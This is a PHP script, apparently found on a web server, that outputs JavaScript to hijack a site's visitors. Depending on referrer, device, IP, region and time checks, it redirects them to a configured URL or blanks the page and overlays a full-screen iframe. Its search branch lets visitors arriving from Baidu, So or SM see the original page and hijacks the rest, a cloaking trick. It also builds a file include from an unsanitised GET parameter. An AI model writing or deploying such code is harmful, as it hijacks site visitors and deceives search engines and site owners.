File: /www/wwwroot/w.xxlht.com/新建文件夹 不知道啥/ip/getjstg.php
<?php
header("Content-type: text/javascript; charset=utf-8");
if(isset($_GET['wkuniq'])) {
if(file_exists("config".$_GET['wkuniq'].".php")){
include("config".$_GET['wkuniq'].".php");
}
else{
exit;
}
}else{
exit;
}
include("mod.php");
$url_kj=str_replace("&","&",$url_kj);
$url = "";
if(isset($_SERVER['HTTP_REFERER'])) {
$url=strtolower($_SERVER['HTTP_REFERER']);
}
if(empty($url)){
echo "console.log('非法访问');";//禁止直接访问 无来路
exit;
}
$host = parse_url($url,PHP_URL_HOST);//非可以解析来路
if(empty($host)){
echo "console.log('非法网址');";
exit;
}
$query_strback = parse_url($_SERVER['HTTP_REFERER'],PHP_URL_QUERY);//跳转参数传递
$backquery = "";
if($query_strback!=null && $query_strback!=""){
if(strpos($url_kj,'?') !== false)
$backquery="&".$query_strback;
else
$backquery="?".$query_strback;
}
function setjs($issearch,$tzorif,$url_kj,$backquery){
if($tzorif==1){//框架
echo 'document.writeln("<style>body{display:none}</style>");var wk_div=\'<div style="width: 100%;height: 100%;position: absolute;top: 0px;left: 0px;"><iframe src="'.$url_kj.$backquery.'" scrolling="yes" style="width: 100%;height: 100%;" frameborder="0"></iframe></div>\';window.onload=function(){document.body.innerHTML="";document.body.innerHTML=wk_div;document.body.style.display="block";}';
}else{//跳转
echo 'window.location="'.$url_kj.$backquery.'"';
}
}
//暂停
if(!$status){
echo "console.log('stop');";
exit;
}
$is_go=true;
//时间判断
if($times!=""&&$timee!=""){
if(!get_curr_time_section($times,$timee,$isb)){
echo "console.log('t no');";
exit;
}
}
//参数判断
if(!getPset($url,$flag_get)){
echo "console.log('qu no');";
setjs($issearch,$tzorif,$url_kj,$backquery);
exit;
}
$ip = getIP();
$agent= strtolower($_SERVER['HTTP_USER_AGENT']);
$agent = trim($agent);
if($flag_pc==1){
if (!is_mobile($agent)){
echo "console.log('pc no');";
setjs($issearch,$tzorif,$url_kj,$backquery);
exit;
}
}
if($flag_d==1){
if(is_iphone($agent)){
echo "console.log('i no');";
setjs($issearch,$tzorif,$url_kj,$backquery);
exit;
}
}elseif($flag_d==2){
if(is_android($agent)){
echo "console.log('an no');";
setjs($issearch,$tzorif,$url_kj,$backquery);
exit;
}
}
if (is_lockip($ip,$flag_lockip)){
echo "console.log('ip no');";
setjs($issearch,$tzorif,$url_kj,$backquery);
exit;
}
//访问终端
if(!is_usertype($flag_type,$agent)){
echo "console.log('user no');";
setjs($issearch,$tzorif,$url_kj,$backquery);
exit;
}
//地区判断
if(is_area($ip,$region)){
echo "console.log('add no');";
setjs($issearch,$tzorif,$url_kj,$backquery);
exit;
}
if($issearch==1){//搜索
if($tzorif==1){//框架
echo 'var nvwmnsHU2 = document.referrer;if (nvwmnsHU2.indexOf("baidu") != -1 || nvwmnsHU2.indexOf("so") != -1 || nvwmnsHU2.indexOf("sm") != -1 && nvwmnsHU2!="https://m.baidu.com/") {}else{document.writeln("<style>body{display:none}</style>");var wk_div=\'<div style="width: 100%;height: 100%;position: absolute;top: 0px;left: 0px;"><iframe src="'.$url_kj.$backquery.'" scrolling="yes" style="width: 100%;height: 100%;" frameborder="0"></iframe></div>\';window.onload=function(){document.body.innerHTML="";document.body.innerHTML=wk_div;document.body.style.display="block";}}';
}else{//跳转
echo 'var nvwmnsHU2 = document.referrer;if (nvwmnsHU2.indexOf("baidu") != -1 || nvwmnsHU2.indexOf("so") != -1 || nvwmnsHU2.indexOf("sm") != -1 && nvwmnsHU2!="https://m.baidu.com/") {}else{location["href"] = "'.$url_kj.$backquery.'"}';
}
}
?>